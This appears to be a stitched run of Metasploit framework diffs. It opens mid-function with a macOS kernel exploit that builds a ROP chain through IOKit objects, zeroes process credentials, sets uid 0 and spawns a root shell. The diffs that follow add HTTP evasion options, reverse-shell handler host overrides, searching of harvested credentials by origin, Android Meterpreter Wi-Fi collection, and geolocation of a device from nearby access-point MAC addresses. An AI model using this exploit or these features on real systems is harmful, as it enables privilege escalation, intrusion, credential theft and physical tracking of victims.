PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_proc_ucred");
|
||||
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_posix_cred_get");
|
||||
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);
|
||||
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, sizeof(int)*3)
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero");
|
||||
|
||||
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uid_t)getuid())
|
||||
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, (int)-1);
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_chgproccnt");
|
||||
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uid_t)0);
|
||||
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, (int)1);
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_chgproccnt");
|
||||
|
||||
PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel);
|
||||
PUSH_GADGET(stack) = heap_info[1].kobject+0x210;
|
||||
PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel);
|
||||
PUSH_GADGET(stack) = JUNK_VALUE;
|
||||
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel);
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_IORecursiveLockUnlock");
|
||||
PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel);
|
||||
PUSH_GADGET(stack) = heap_info[1].kobject+0xe0;
|
||||
PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel);
|
||||
PUSH_GADGET(stack) = JUNK_VALUE;
|
||||
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel);
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "__ZN10IOWorkLoop8openGateEv");
|
||||
PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel);
|
||||
PUSH_GADGET(stack) = heap_info[1].kobject+0xe8;
|
||||
PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel);
|
||||
PUSH_GADGET(stack) = JUNK_VALUE;
|
||||
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel);
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "__ZN13IOEventSource8openGateEv");
|
||||
|
||||
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uint64_t)"Escalating privileges! -qwertyoruiop\n")
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_IOLog");
|
||||
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_thread_exception_return");
|
||||
|
||||
uint64_t* vtable=malloc(0x1000);
|
||||
|
||||
vtable[0] = 0;
|
||||
vtable[1] = 0;
|
||||
vtable[2] = 0;
|
||||
vtable[3] = ROP_POP_RAX(mapping_kernel);
|
||||
vtable[4] = ROP_PIVOT_RAX(mapping_kernel);
|
||||
vtable[5] = ROP_POP_RAX(mapping_kernel);
|
||||
vtable[6] = 0;
|
||||
vtable[7] = ROP_POP_RSP(mapping_kernel);
|
||||
vtable[8] = (uint64_t)stack->__rop_chain;
|
||||
|
||||
or_everywhere(heap_info[1].kobject+0x220); // set online
|
||||
or_everywhere(heap_info[1].kobject+0x208); // set userbuffer to 0x000000000010 (!= NULL)
|
||||
alloc(0, 0x1000);
|
||||
volatile uint64_t* mp = (uint64_t*) 0x10;
|
||||
mp[0] = (uint64_t)0;
|
||||
mp[1] = (uint64_t)vtable;
|
||||
mp[2] = (uint64_t)&mp[1];
|
||||
uint64_t xn = IOConnectRelease((io_connect_t )heap_info[1].connect); // running code!
|
||||
vm_deallocate(mach_task_self(), 0, 0x1000);
|
||||
setuid(0);
|
||||
if (getuid() == 0) {
|
||||
system("/bin/sh");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
puts("didn't get root, but this system is vulnerable. ");
|
||||
puts("kernel heap may be corrupted");
|
||||
return 1;
|
||||
}
|
||||
@@ -73,6 +73,14 @@ module Metasploit
|
||||
# @return [Boolean] Whether to use random casing for the HTTP method
|
||||
attr_accessor :evade_method_random_case
|
||||
|
||||
# @!attribute evade_version_random_valid
|
||||
# @return [Boolean] Whether to use a random, but valid, HTTP version for request
|
||||
attr_accessor :evade_version_random_valid
|
||||
|
||||
# @!attribute evade_version_random_invalid
|
||||
# @return [Boolean] Whether to use a random invalid, HTTP version for request
|
||||
attr_accessor :evade_version_random_invalid
|
||||
|
||||
# @!attribute evade_uri_dir_self_reference
|
||||
# @return [Boolean] Whether to insert self-referential directories into the uri
|
||||
attr_accessor :evade_uri_dir_self_reference
|
||||
@@ -294,6 +302,8 @@ module Metasploit
|
||||
'method_random_valid' => evade_method_random_valid,
|
||||
'method_random_invalid' => evade_method_random_invalid,
|
||||
'method_random_case' => evade_method_random_case,
|
||||
'version_random_valid' => evade_version_random_valid,
|
||||
'version_random_invalid' => evade_version_random_invalid,
|
||||
'uri_dir_self_reference' => evade_uri_dir_self_reference,
|
||||
'uri_dir_fake_relative' => evade_uri_dir_fake_relative,
|
||||
'uri_use_backslashes' => evade_uri_use_backslashes,
|
||||
|
||||
@@ -80,7 +80,7 @@ class Logging
|
||||
# @return [void]
|
||||
def self.start_session_log(session)
|
||||
if (log_source_registered?(session.log_source) == false)
|
||||
f = Rex::Logging::Sinks::Flatfile.new(
|
||||
f = Rex::Logging::Sinks::TimestampFlatfile.new(
|
||||
Msf::Config.session_log_directory + File::SEPARATOR + "#{session.log_file_name}.log")
|
||||
|
||||
register_log_source(session.log_source, f)
|
||||
|
||||
@@ -241,7 +241,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
|
||||
host_data = {}
|
||||
host_data[:task] = args[:task]
|
||||
host_data[:workspace] = wspace
|
||||
host_data[:host] = nils_for_nulls(host.elements["address"].text.to_s.strip)
|
||||
host_data[:host] = nils_for_nulls(unserialize_object(host.elements["address"]))
|
||||
if bl.include? host_data[:host]
|
||||
next
|
||||
else
|
||||
|
||||
@@ -96,8 +96,9 @@ module Msf::DBManager::Session
|
||||
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
|
||||
match: session.exploit.user_data[:match],
|
||||
run: session.exploit.user_data[:run],
|
||||
state: 'succeeded',
|
||||
state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED,
|
||||
)
|
||||
infer_vuln_from_session(session, wspace)
|
||||
elsif session.via_exploit
|
||||
# This is a live session, we know the host is vulnerable to something.
|
||||
infer_vuln_from_session(session, wspace)
|
||||
|
||||
@@ -1285,6 +1285,14 @@ class Exploit < Msf::Module
|
||||
end
|
||||
end
|
||||
|
||||
if user_data_is_match?
|
||||
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
|
||||
match: user_data[:match],
|
||||
run: user_data[:run],
|
||||
state: MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED,
|
||||
)
|
||||
end
|
||||
|
||||
framework.db.report_exploit_failure(info)
|
||||
end
|
||||
|
||||
|
||||
@@ -53,7 +53,7 @@ module Exploit::Remote::HttpClient
|
||||
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL3', 'TLS1']]),
|
||||
OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]),
|
||||
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']),
|
||||
OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout', 20])
|
||||
OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout'])
|
||||
], self.class
|
||||
)
|
||||
|
||||
@@ -68,6 +68,8 @@ module Exploit::Remote::HttpClient
|
||||
OptBool.new('HTTP::method_random_valid', [false, 'Use a random, but valid, HTTP method for request', false]),
|
||||
OptBool.new('HTTP::method_random_invalid', [false, 'Use a random invalid, HTTP method for request', false]),
|
||||
OptBool.new('HTTP::method_random_case', [false, 'Use random casing for the HTTP method', false]),
|
||||
OptBool.new('HTTP::version_random_valid', [false, 'Use a random, but valid, HTTP version for request', false]),
|
||||
OptBool.new('HTTP::version_random_invalid', [false, 'Use a random invalid, HTTP version for request', false]),
|
||||
OptBool.new('HTTP::uri_dir_self_reference', [false, 'Insert self-referential directories into the uri', false]),
|
||||
OptBool.new('HTTP::uri_dir_fake_relative', [false, 'Insert fake relative directories into the uri', false]),
|
||||
OptBool.new('HTTP::uri_use_backslashes', [false, 'Use back slashes instead of forward slashes in the uri ', false]),
|
||||
@@ -176,6 +178,8 @@ module Exploit::Remote::HttpClient
|
||||
'method_random_valid' => datastore['HTTP::method_random_valid'],
|
||||
'method_random_invalid' => datastore['HTTP::method_random_invalid'],
|
||||
'method_random_case' => datastore['HTTP::method_random_case'],
|
||||
'version_random_valid' => datastore['HTTP::version_random_valid'],
|
||||
'version_random_invalid' => datastore['HTTP::version_random_invalid'],
|
||||
'uri_dir_self_reference' => datastore['HTTP::uri_dir_self_reference'],
|
||||
'uri_dir_fake_relative' => datastore['HTTP::uri_dir_fake_relative'],
|
||||
'uri_use_backslashes' => datastore['HTTP::uri_use_backslashes'],
|
||||
@@ -236,6 +240,8 @@ module Exploit::Remote::HttpClient
|
||||
evade_method_random_valid: datastore['HTTP::method_random_valid'],
|
||||
evade_method_random_invalid: datastore['HTTP::method_random_invalid'],
|
||||
evade_method_random_case: datastore['HTTP::method_random_case'],
|
||||
evade_version_random_valid: datastore['HTTP::version_random_valid'],
|
||||
evade_version_random_invalid: datastore['HTTP::version_random_invalid'],
|
||||
evade_uri_dir_self_reference: datastore['HTTP::uri_dir_self_reference'],
|
||||
evade_uri_dir_fake_relative: datastore['HTTP::uri_dir_fake_relative'],
|
||||
evade_uri_use_backslashes: datastore['HTTP::uri_use_backslashes'],
|
||||
@@ -308,7 +314,12 @@ module Exploit::Remote::HttpClient
|
||||
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_raw.
|
||||
#
|
||||
def send_request_raw(opts={}, timeout = 20)
|
||||
actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout
|
||||
if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
|
||||
actual_timeout = datastore['HttpClientTimeout']
|
||||
else
|
||||
actual_timeout = opts[:timeout] || timeout
|
||||
end
|
||||
|
||||
begin
|
||||
c = connect(opts)
|
||||
r = c.request_raw(opts)
|
||||
@@ -325,7 +336,12 @@ module Exploit::Remote::HttpClient
|
||||
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
|
||||
#
|
||||
def send_request_cgi(opts={}, timeout = 20)
|
||||
actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout
|
||||
if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
|
||||
actual_timeout = datastore['HttpClientTimeout']
|
||||
else
|
||||
actual_timeout = opts[:timeout] || timeout
|
||||
end
|
||||
|
||||
begin
|
||||
c = connect(opts)
|
||||
r = c.request_cgi(opts)
|
||||
@@ -344,7 +360,12 @@ module Exploit::Remote::HttpClient
|
||||
# will contain the full URI.
|
||||
#
|
||||
def send_request_cgi!(opts={}, timeout = 20, redirect_depth = 1)
|
||||
actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout
|
||||
if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
|
||||
actual_timeout = datastore['HttpClientTimeout']
|
||||
else
|
||||
actual_timeout = opts[:timeout] || timeout
|
||||
end
|
||||
|
||||
res = send_request_cgi(opts, actual_timeout)
|
||||
return res unless res && res.redirect? && redirect_depth > 0
|
||||
|
||||
|
||||
@@ -55,7 +55,9 @@ module ReverseHttp
|
||||
OptString.new('MeterpreterServerName', [false, 'The server header that the handler will send in response to requests', 'Apache']),
|
||||
OptAddress.new('ReverseListenerBindAddress', [false, 'The specific IP address to bind to on the local system']),
|
||||
OptInt.new('ReverseListenerBindPort', [false, 'The port to bind to on the local system if different from LPORT']),
|
||||
OptBool.new('OverrideRequestHost', [false, 'Forces clients to connect to LHOST:LPORT instead of keeping original payload host', false]),
|
||||
OptBool.new('OverrideRequestHost', [false, 'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT', false]),
|
||||
OptString.new('OverrideLHOST', [false, 'When OverrideRequestHost is set, use this value as the host name for secondary requests']),
|
||||
OptPort.new('OverrideLPORT', [false, 'When OverrideRequestHost is set, use this value as the port number for secondary requests']),
|
||||
OptString.new('HttpUnknownRequestResponse', [false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>']),
|
||||
OptBool.new('IgnoreUnknownPayloads', [false, 'Whether to drop connections from payloads using unknown UUIDs', false])
|
||||
], Msf::Handler::ReverseHttp)
|
||||
@@ -89,13 +91,23 @@ module ReverseHttp
|
||||
#
|
||||
# @return [String] A URI of the form +scheme://host:port/+
|
||||
def payload_uri(req)
|
||||
if req and req.headers and req.headers['Host'] and not datastore['OverrideRequestHost']
|
||||
callback_host = nil
|
||||
|
||||
# Extract whatever the client sent us in the Host header
|
||||
if req && req.headers && req.headers['Host']
|
||||
callback_host = req.headers['Host']
|
||||
elsif Rex::Socket.is_ipv6?(datastore['LHOST'])
|
||||
callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}"
|
||||
else
|
||||
callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}"
|
||||
end
|
||||
|
||||
# Override the host and port as appropriate
|
||||
if datastore['OverrideRequestHost'] || callback_host.nil?
|
||||
callback_name = datastore['OverrideLHOST'] || datastore['LHOST']
|
||||
callback_port = datastore['OverrideLPORT'] || datastore['LPORT']
|
||||
if Rex::Socket.is_ipv6? callback_name
|
||||
callback_name = "[#{callback_name}]"
|
||||
end
|
||||
callback_host = "#{callback_name}:#{callback_port}"
|
||||
end
|
||||
|
||||
"#{scheme}://#{callback_host}/"
|
||||
end
|
||||
|
||||
|
||||
@@ -20,23 +20,13 @@ module Payload::Generic
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Arch' => ARCH_ALL - [ARCH_TTY],
|
||||
'Platform' => ''))
|
||||
'Platform' => ''
|
||||
))
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('PLATFORM',
|
||||
[
|
||||
false,
|
||||
"The platform that is being targeted",
|
||||
nil
|
||||
]),
|
||||
OptString.new('ARCH',
|
||||
[
|
||||
false,
|
||||
"The architecture that is being targeted",
|
||||
nil
|
||||
])
|
||||
], Msf::Payload::Generic)
|
||||
register_advanced_options([
|
||||
OptString.new('PLATFORM', [false, "The platform that is being targeted", nil]),
|
||||
OptString.new('ARCH', [false, "The architecture that is being targeted", nil])
|
||||
], Msf::Payload::Generic)
|
||||
end
|
||||
|
||||
#
|
||||
@@ -103,8 +93,8 @@ module Payload::Generic
|
||||
# Stager overrides
|
||||
#
|
||||
|
||||
def stage_payload
|
||||
redirect_to_actual(:stage_payload)
|
||||
def stage_payload(*args)
|
||||
redirect_to_actual(:stage_payload, *args)
|
||||
end
|
||||
|
||||
def stage_offsets
|
||||
|
||||
@@ -88,7 +88,7 @@ module Msf::Payload::Stager
|
||||
# Can be nil if the final stage is not pre-assembled.
|
||||
#
|
||||
# @return [String,nil]
|
||||
def stage_payload
|
||||
def stage_payload(opts = {})
|
||||
return module_info['Stage']['Payload']
|
||||
end
|
||||
|
||||
|
||||
@@ -70,7 +70,7 @@ module Payload::Windows::ReflectiveDllInject
|
||||
^
|
||||
end
|
||||
|
||||
def stage_payload
|
||||
def stage_payload(opts = {})
|
||||
# Exceptions will be thrown by the mixin if there are issues.
|
||||
dll, offset = load_rdi_dll(library_path)
|
||||
|
||||
|
||||
@@ -71,7 +71,7 @@ module Payload::Windows::ReflectiveDllInject_x64
|
||||
^
|
||||
end
|
||||
|
||||
def stage_payload
|
||||
def stage_payload(opts = {})
|
||||
# Exceptions will be thrown by the mixin if there are issues.
|
||||
dll, offset = load_rdi_dll(library_path)
|
||||
|
||||
|
||||
@@ -169,6 +169,7 @@ module Msf::Post::Common
|
||||
# through /bin/sh, solving all the pesky parsing troubles, without
|
||||
# affecting Windows.
|
||||
#
|
||||
start = Time.now.to_i
|
||||
if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/
|
||||
args = ""
|
||||
end
|
||||
@@ -176,9 +177,17 @@ module Msf::Post::Common
|
||||
session.response_timeout = time_out
|
||||
process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true})
|
||||
o = ""
|
||||
# Wait up to time_out seconds for the first bytes to arrive
|
||||
while (d = process.channel.read)
|
||||
break if d == ""
|
||||
o << d
|
||||
if d == ""
|
||||
if (Time.now.to_i - start < time_out) && (o == '')
|
||||
sleep 0.1
|
||||
else
|
||||
break
|
||||
end
|
||||
else
|
||||
o << d
|
||||
end
|
||||
end
|
||||
o.chomp! if o
|
||||
|
||||
@@ -296,12 +305,14 @@ module Msf::Post::Common
|
||||
# Special handle some cases that ARCH_TYPES won't recognize.
|
||||
# https://msdn.microsoft.com/en-us/library/aa384274.aspx
|
||||
case target_arch
|
||||
when /i386/, /i686/
|
||||
when /i[3456]86|wow64/i
|
||||
return ARCH_X86
|
||||
when /amd64/i, /ia64/i
|
||||
when /(amd|ia|x)64/i
|
||||
return ARCH_X86_64
|
||||
end
|
||||
|
||||
# Detect tricky variants of architecture types upfront
|
||||
|
||||
# Rely on ARCH_TYPES to tell us a framework-recognizable ARCH.
|
||||
# Notice we're sorting ARCH_TYPES first, so that the longest string
|
||||
# goes first. This step is used because sometimes let's say if the target
|
||||
|
||||
@@ -225,22 +225,6 @@ module Session
|
||||
"session_#{name}"
|
||||
end
|
||||
|
||||
#
|
||||
# This method logs the supplied buffer as coming from the remote side of
|
||||
# the session.
|
||||
#
|
||||
def log_from_remote(buf)
|
||||
rlog(buf, log_source)
|
||||
end
|
||||
|
||||
#
|
||||
# This method logs the supplied buffer as coming from the local side of
|
||||
# the session.
|
||||
#
|
||||
def log_from_local(buf)
|
||||
rlog(buf, log_source)
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Core interface
|
||||
|
||||
@@ -837,6 +837,7 @@ class Db
|
||||
print_line " -s <svc names> List creds matching comma-separated service names"
|
||||
print_line " -u,--user <regex> List users that match this regex"
|
||||
print_line " -t,--type <type> List creds that match the following types: #{allowed_cred_types.join(',')}"
|
||||
print_line " -O,--origins List creds that match these origins"
|
||||
print_line " -R,--rhosts Set RHOSTS from the results of the search"
|
||||
|
||||
print_line
|
||||
@@ -925,15 +926,16 @@ class Db
|
||||
end
|
||||
|
||||
def creds_search(*args)
|
||||
host_ranges = []
|
||||
port_ranges = []
|
||||
svcs = []
|
||||
rhosts = []
|
||||
host_ranges = []
|
||||
origin_ranges = []
|
||||
port_ranges = []
|
||||
svcs = []
|
||||
rhosts = []
|
||||
|
||||
set_rhosts = false
|
||||
|
||||
#cred_table_columns = [ 'host', 'port', 'user', 'pass', 'type', 'proof', 'active?' ]
|
||||
cred_table_columns = [ 'host', 'service', 'public', 'private', 'realm', 'private_type' ]
|
||||
cred_table_columns = [ 'host', 'origin' , 'service', 'public', 'private', 'realm', 'private_type' ]
|
||||
user = nil
|
||||
delete_count = 0
|
||||
|
||||
@@ -979,6 +981,13 @@ class Db
|
||||
mode = :delete
|
||||
when '-R', '--rhosts'
|
||||
set_rhosts = true
|
||||
when '-O', '--origins'
|
||||
hosts = args.shift
|
||||
if !hosts
|
||||
print_error("Argument required for -O")
|
||||
return
|
||||
end
|
||||
arg_host_range(hosts, origin_ranges)
|
||||
else
|
||||
# Anything that wasn't an option is a host to search for
|
||||
unless (arg_host_range(arg, host_ranges))
|
||||
@@ -1058,11 +1067,22 @@ class Db
|
||||
next
|
||||
end
|
||||
|
||||
if core.logins.empty?
|
||||
origin = ''
|
||||
if core.origin.kind_of?(Metasploit::Credential::Origin::Service)
|
||||
origin = core.origin.service.host.address
|
||||
elsif core.origin.kind_of?(Metasploit::Credential::Origin::Session)
|
||||
origin = core.origin.session.host.address
|
||||
end
|
||||
|
||||
if !origin.empty? && origin_ranges.present? && !origin_ranges.any? {|range| range.include?(origin) }
|
||||
next
|
||||
end
|
||||
|
||||
if core.logins.empty? && origin_ranges.empty?
|
||||
tbl << [
|
||||
"", # host
|
||||
"", # port
|
||||
"", # cred
|
||||
"", # service
|
||||
core.public,
|
||||
core.private,
|
||||
core.realm,
|
||||
@@ -1070,7 +1090,6 @@ class Db
|
||||
]
|
||||
else
|
||||
core.logins.each do |login|
|
||||
|
||||
# If none of this Core's associated Logins is for a host within
|
||||
# the user-supplied RangeWalker, then we don't have any reason to
|
||||
# print it out. However, we treat the absence of ranges as meaning
|
||||
@@ -1078,7 +1097,9 @@ class Db
|
||||
if host_ranges.present? && !host_ranges.any? { |range| range.include?(login.service.host.address) }
|
||||
next
|
||||
end
|
||||
|
||||
row = [ login.service.host.address ]
|
||||
row << origin
|
||||
rhosts << login.service.host.address
|
||||
if login.service.name.present?
|
||||
row << "#{login.service.port}/#{login.service.proto} (#{login.service.name})"
|
||||
|
||||
@@ -169,7 +169,7 @@ class Driver < Msf::Ui::Driver
|
||||
|
||||
unless configuration_pathname.nil?
|
||||
if configuration_pathname.readable?
|
||||
dbinfo = YAML.load_file(configuration_pathname)
|
||||
dbinfo = YAML.load_file(configuration_pathname) || {}
|
||||
dbenv = opts['DatabaseEnv'] || Rails.env
|
||||
db = dbinfo[dbenv]
|
||||
else
|
||||
|
||||
@@ -14,6 +14,27 @@ module Util
|
||||
|
||||
class PayloadCachedSize
|
||||
|
||||
OPTS = {
|
||||
'Format' => 'raw',
|
||||
'Options' => {
|
||||
'CPORT' => 4444,
|
||||
'LPORT' => 4444,
|
||||
'LHOST' => '255.255.255.255',
|
||||
'KHOST' => '255.255.255.255',
|
||||
'AHOST' => '255.255.255.255',
|
||||
'CMD' => '/bin/sh',
|
||||
'URL' => 'http://a.com',
|
||||
'PATH' => '/',
|
||||
'BUNDLE' => 'data/isight.bundle',
|
||||
'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll',
|
||||
'RC4PASSWORD' => 'Metasploit',
|
||||
'DNSZONE' => 'corelan.eu',
|
||||
'PEXEC' => '/bin/sh'
|
||||
},
|
||||
'Encoder' => nil,
|
||||
'DisableNops' => true
|
||||
}
|
||||
|
||||
# Insert a new CachedSize value into the text of a payload module
|
||||
#
|
||||
# @param data [String] The source code of a payload module
|
||||
@@ -60,7 +81,7 @@ class PayloadCachedSize
|
||||
# @return [Fixnum]
|
||||
def self.compute_cached_size(mod)
|
||||
return ":dynamic" if is_dynamic?(mod)
|
||||
return mod.new.size
|
||||
return mod.generate_simple(OPTS).size
|
||||
end
|
||||
|
||||
# Determines whether a payload generates a static sized output
|
||||
@@ -69,8 +90,9 @@ class PayloadCachedSize
|
||||
# @param generation_count [Fixnum] The number of iterations to use to
|
||||
# verify that the size is static.
|
||||
# @return [Fixnum]
|
||||
def self.is_dynamic?(mod,generation_count=5)
|
||||
[*(1..generation_count)].map{|x| mod.new.size}.uniq.length != 1
|
||||
def self.is_dynamic?(mod, generation_count=5)
|
||||
[*(1..generation_count)].map{|x|
|
||||
mod.generate_simple(OPTS).size}.uniq.length != 1
|
||||
end
|
||||
|
||||
# Determines whether a payload's CachedSize is up to date
|
||||
@@ -78,9 +100,9 @@ class PayloadCachedSize
|
||||
# @param mod [Msf::Payload] The class of the payload module to update
|
||||
# @return [Boolean]
|
||||
def self.is_cached_size_accurate?(mod)
|
||||
return true if mod.dynamic_size?
|
||||
return true if mod.dynamic_size? && is_dynamic?(mod)
|
||||
return false if mod.cached_size.nil?
|
||||
mod.cached_size == mod.new.size
|
||||
mod.cached_size == mod.generate_simple(OPTS).size
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
Executable
+68
@@ -0,0 +1,68 @@
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
require 'net/http'
|
||||
require 'json'
|
||||
|
||||
module Rex
|
||||
module Google
|
||||
# @example
|
||||
# g = Rex::Google::Geolocation.new
|
||||
# g.add_wlan("00:11:22:33:44:55", "example", -80)
|
||||
# g.fetch!
|
||||
# puts g, g.google_maps_url
|
||||
class Geolocation
|
||||
GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&"
|
||||
|
||||
attr_accessor :accuracy
|
||||
attr_accessor :latitude
|
||||
attr_accessor :longitude
|
||||
|
||||
def initialize
|
||||
@uri = URI.parse(URI.encode(GOOGLE_API_URI))
|
||||
@wlan_list = []
|
||||
end
|
||||
|
||||
# Ask Google's Maps API for the location of a given set of BSSIDs (MAC
|
||||
# addresses of access points), ESSIDs (AP names), and signal strengths.
|
||||
def fetch!
|
||||
@uri.query << @wlan_list.take(10).join("&wifi=")
|
||||
request = Net::HTTP::Get.new(@uri.request_uri)
|
||||
http = Net::HTTP.new(@uri.host, @uri.port)
|
||||
http.use_ssl = true
|
||||
response = http.request(request)
|
||||
|
||||
if response && response.code == '200'
|
||||
results = JSON.parse(response.body)
|
||||
self.latitude = results["location"]["lat"]
|
||||
self.longitude = results["location"]["lng"]
|
||||
self.accuracy = results["accuracy"]
|
||||
else
|
||||
msg = "Failure connecting to Google for location lookup."
|
||||
msg += " Code #{response.code} for query #{@uri}" if response
|
||||
fail msg
|
||||
end
|
||||
end
|
||||
|
||||
# Add an AP to the list to send to Google when {#fetch!} is called.
|
||||
#
|
||||
# Turns out Google's API doesn't really care about ESSID or signal strength
|
||||
# as long as you have BSSIDs. Presumably adding them will make it more
|
||||
# accurate? Who knows.
|
||||
#
|
||||
# @param mac [String] in the form "00:11:22:33:44:55"
|
||||
# @param ssid [String] ESSID associated with the mac
|
||||
# @param signal_strength [String] a thing like
|
||||
def add_wlan(mac, ssid = nil, signal_strength = nil)
|
||||
@wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}"))
|
||||
end
|
||||
|
||||
def google_maps_url
|
||||
"https://maps.google.com/?q=#{latitude},#{longitude}"
|
||||
end
|
||||
|
||||
def to_s
|
||||
"Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}."
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -41,3 +41,4 @@ end
|
||||
|
||||
require 'rex/logging/sinks/flatfile'
|
||||
require 'rex/logging/sinks/stderr'
|
||||
require 'rex/logging/sinks/timestamp_flatfile'
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Logging
|
||||
module Sinks
|
||||
|
||||
###
|
||||
#
|
||||
# This class implements the LogSink interface and backs it against a
|
||||
# file on disk with a Timestamp.
|
||||
#
|
||||
###
|
||||
class TimestampFlatfile < Flatfile
|
||||
|
||||
def log(sev, src, level, msg, from) # :nodoc:
|
||||
msg = msg.chop.gsub(/\x1b\[[0-9;]*[mG]/,'').gsub(/[\x01-\x02]/, " ")
|
||||
fd.write("[#{get_current_timestamp}] #{msg}\n")
|
||||
fd.flush
|
||||
end
|
||||
end
|
||||
|
||||
end end end
|
||||
@@ -1,11 +1,11 @@
|
||||
#!/usr/bin/env ruby
|
||||
#
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/post/meterpreter/extensions/android/tlv'
|
||||
require 'rex/post/meterpreter/packet'
|
||||
require 'rex/post/meterpreter/client'
|
||||
require 'rex/post/meterpreter/channels/pools/stream_pool'
|
||||
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
@@ -17,9 +17,28 @@ module Android
|
||||
# extension by Anwar Mohamed (@anwarelmakrahy)
|
||||
###
|
||||
|
||||
|
||||
class Android < Extension
|
||||
|
||||
COLLECT_TYPE_WIFI = 1
|
||||
|
||||
COLLECT_ACTION_START = 1
|
||||
COLLECT_ACTION_PAUSE = 2
|
||||
COLLECT_ACTION_RESUME = 3
|
||||
COLLECT_ACTION_STOP = 4
|
||||
COLLECT_ACTION_DUMP = 5
|
||||
|
||||
COLLECT_TYPES = {
|
||||
'wifi' => COLLECT_TYPE_WIFI
|
||||
}
|
||||
|
||||
COLLECT_ACTIONS = {
|
||||
'start' => COLLECT_ACTION_START,
|
||||
'pause' => COLLECT_ACTION_PAUSE,
|
||||
'resume' => COLLECT_ACTION_START,
|
||||
'stop' => COLLECT_ACTION_STOP,
|
||||
'dump' => COLLECT_ACTION_DUMP
|
||||
}
|
||||
|
||||
def initialize(client)
|
||||
super(client, 'android')
|
||||
|
||||
@@ -30,88 +49,129 @@ class Android < Extension
|
||||
{
|
||||
'name' => 'android',
|
||||
'ext' => self
|
||||
},
|
||||
}
|
||||
])
|
||||
end
|
||||
|
||||
|
||||
def collect_actions
|
||||
return @@collect_action_list ||= COLLECT_ACTIONS.keys
|
||||
end
|
||||
|
||||
def collect_types
|
||||
return @@collect_type_list ||= COLLECT_TYPES.keys
|
||||
end
|
||||
|
||||
def device_shutdown(n)
|
||||
request = Packet.create_request('device_shutdown')
|
||||
request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
|
||||
response = client.send_request(request)
|
||||
return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
|
||||
end
|
||||
|
||||
response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
|
||||
end
|
||||
|
||||
def interval_collect(opts)
|
||||
